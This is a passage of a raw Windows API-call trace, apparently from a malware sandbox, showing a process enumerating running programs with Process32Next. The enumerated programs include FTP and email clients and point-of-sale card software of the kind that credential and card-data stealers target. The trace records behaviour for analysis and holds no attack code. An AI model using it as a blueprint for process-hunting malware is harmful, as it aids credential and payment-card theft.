th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.944] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.947] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0242.950] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0242.954] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0242.956] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0242.959] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0242.962] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0242.965] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0242.968] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0242.972] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0242.975] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0243.009] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0243.013] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0243.017] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0243.022] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0243.026] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0243.029] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0243.031] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0243.033] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0243.037] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0243.041] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0243.058] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0243.063] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0243.068] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0243.072] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0243.076] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0243.081] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0243.085] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0243.089] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0243.093] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0243.098] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0243.102] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0243.106] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0243.115] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0243.119] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0243.124] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0243.128] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0243.133] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0243.138] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0243.142] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0243.149] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0243.153] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0243.158] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0243.161] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0243.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0243.170] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0243.174] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0243.178] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0243.183] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0243.217] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0243.221] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0243.224] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0243.227] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0243.233] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0243.236] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0243.239] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0243.242] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0243.244] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0243.251] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0243.254] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0243.257] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0243.260] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0243.263] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0243.266] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0243.268] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0243.271] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0243.274] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0243.276] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.279] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0243.283] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.287] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0243.289] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0243.292] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0243.294] CloseHandle (hObject=0x21ec) returned 1 [0243.294] Sleep (dwMilliseconds=0x64) [0243.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0243.344] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.347] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.350] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.353] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.356] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.359] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.362] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.364] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.366] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.368] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, 